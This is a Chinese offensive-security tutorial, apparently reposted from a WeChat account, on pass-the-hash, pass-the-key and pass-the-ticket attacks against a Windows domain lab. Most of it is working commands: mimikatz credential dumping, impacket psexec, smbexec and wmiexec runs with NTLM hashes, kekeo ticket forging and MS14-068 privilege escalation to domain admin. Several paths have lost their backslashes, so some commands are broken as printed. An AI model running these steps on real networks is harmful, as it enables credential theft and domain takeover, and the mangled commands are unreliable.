Mimikatz 在本文章中会用到的命令
privilege::debug #提升权限
sekurlsa::logonpasswords #抓取密码信息
sekurlsa::msv #抓取LM、NTLM、值
sekurlsa::ekeys #抓取aes值
哈希传递攻击(PTH)
简介:
哈希传递(Pass The Hash)攻击,该方法通过找到与账户相关的密码散列值来进行攻击,在 Windows Server 2012 R2 之前使用到的密码散列值是 LM、NTLM,在Windows Server 2012 R2 及其版本之后使用到的密码散列值是 NTLM Hash。
在域环境中,用户登录计算机时使用的大概都是域账号,并且许多计算机在安装时会使用相同的本地管理员账户密码,因此如果计算机的本地管理员账户和密码相同的话,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。
条件:
有管理员的密码散列值,并且目标机器开放 445 端口(SMB 服务)。
进行攻击:
1.使用 mimikatz 进行哈希传递攻击
使用 mimikatz 获得散列值,还得到了域名、域用户名,除此之外还需要域内主机的 ip 地址
sekurlsa::msv
在 mimikatz 中运行以下命令
sekurlsa::pth /user:域用户名 /domain:域名 /ntlm:域用户名的NTLM值
sekurlsa::pth /user:administrator /domain:god /ntlm:8c535a2d84c3b21059d667639bb89db5
运行完成之后会自己跳一个 cmd 窗口,然后在跳出来的 cmd 窗口中连接任意一个域内 ip 地址进行连接
net use \192.168.52.138 #建立IPC连接
dir \192.168.52.138c$ #查看连接域内ip的c盘文件夹
使用 mimikazt 有一个缺点就是需要建立 IPC 连接,除了使用 mimikatz 进行哈希传递攻击外,我们还可以使用其他工具进行哈希传递攻击,下面演示 impacket 工具包中的两种工具,注意,这个工具包里面的工具可以使用哈希进行利用的,如果使用的是微软官方的 Pstools 工具包的工具是只能使用明文进行利用的。impacket 工具包下载地址:
https://github.com/SecureAuthCorp/impacket
2.使用 psexec 进行哈希传递攻击
使用 psexec 进行哈希传递攻击所需要的参数和 mimikatz 中进行哈希传递攻击的参数一样,都是域名、域用户名、域内主机的 ip 地址
psexec.exe -hashes :NTLM值 域名/域用户@域内ip地址
psexec.exe -hashes :8c535a2d84c3b21059d667639bb89db5 god/administrator@192.168.52.138
该方式进行哈希传递攻击的优点是不需要建立 IPC 连接。
3.使用 smbexec 进行哈希传递攻击:
smbexec.exe -hashes :NTLM值 域名/域用户@域内ip地址
smbexec.exe -hashes :8c535a2d84c3b21059d667639bb89db5 god/administrator@192.168.52.138
以上三种哈希传递攻击都是使用到 445 端口(SMB服务)而没有用到 135 端口,接下来演示 445 端口配合 135 端口进行哈希传递攻击。
4.使用 wmiexec 进行哈希传递攻击:
缺点是一次只能执行一次命令,而上面三种都是可以执行很多次命令。
wmiexec -hashes :8c535a2d84c3b21059d667639bb89db5 god/administrator@192.168.52.138 "ipconfig"
进行哈希传递攻击的时候需要注意以下两点:
-
dir命令后面要使用主机名,不能用IP,否则报错
-
使用mimikatz进行哈希传递要具有本地管理员权限
密钥传递攻击(PTK)
简介:
密钥传递攻击只能在打了kb2871997条件下进行
条件:
打了kb2871997补丁才能任意用户都可以连接,采用 aes256 连接。
进行攻击:
mimikatz 获取 aes 值
sekurlsa::ekeys
sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值 hash
sekurlsa::pth /user:administrator /domain:god /aes256:bd25b5ae78c10e3fcda9693cd31027d70383063a1d8c2b835c6fa1c416b79669
在实际上,PTK 传递比 PTH 传递用的少,因为 PTK 传递需要一个前提条件,需要域控安 装KB2871997 补丁的 Win7/2008r2/8/2012(2019尝试也可以,并没有装补丁)。
票据传递攻击(PTT)
简介:
不需要管理员权限就可以获得远程系统的访问权限,Pass The Ticket 票据传递(PTT攻击)实现「未授权」访问。
条件:
无
进行攻击:
1.使用 mimikatz 进行票据传递攻击
因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,我们可以导出这些票据,然后再导入票据,利用。该方法类似于 cookie 欺骗。
缺点:票据是有有效期的,一般为10小时,所以如果当前主机10h之内连接过域控的话,我们可以利用该票据,但是如果超过10h,就没法利用了。
导入票据
sekurlsa::tickets /export
删除票据,排除干扰
klist purge
导入票据
kerberos::ptt 票据文件
kerberos::pttC:UsersAdministratorDesktopmimikatz_trunkx64[0;3e7]-2-0-60a00000-STU1$@krbtgt-GOD.ORG.kirbi
进行利用
dir \192.168.52.138c$
下面的两种方式由于靶机发生故障了,所以借用网上的图片。
2.利用工具 kekeo
生成票据,导入票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" //生成票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi //导入票据
查看凭证 klist
利用
dir 192.168.3.21c$
dir \OWA2010CN-God.god.orgc$
3.利用漏洞 ms14-068
whoami/user 查看当前 sid
我们知道 mary 就是域内一个普通用户
清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
klist //查看凭证列表
klist purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
利用 MS14-068 生成TGT数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
将票据注入到内存中
./mimikatz.exe
kerberos::ptc TGT_mary@god.org.ccache
exit
查看凭证列表。klist 查看一下,注入成功。
利用
dir 192.168.3.21c$
dir \OWA2010CN-God.god.orgc$
总结
PTH和PTK需要管理员权限,其中PTK要求更为苛刻,PTK需要打了kb2871997补丁才能够使用,因此一般情况下不考虑使用PTK。而PTT利用漏洞MS14-068可以直接从普通域成员提权到域管理员权限。因此一般应该靠考虑使用MS14-068进行横向移动。
- End -
原文始发于微信公众号(NS Demon团队):哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论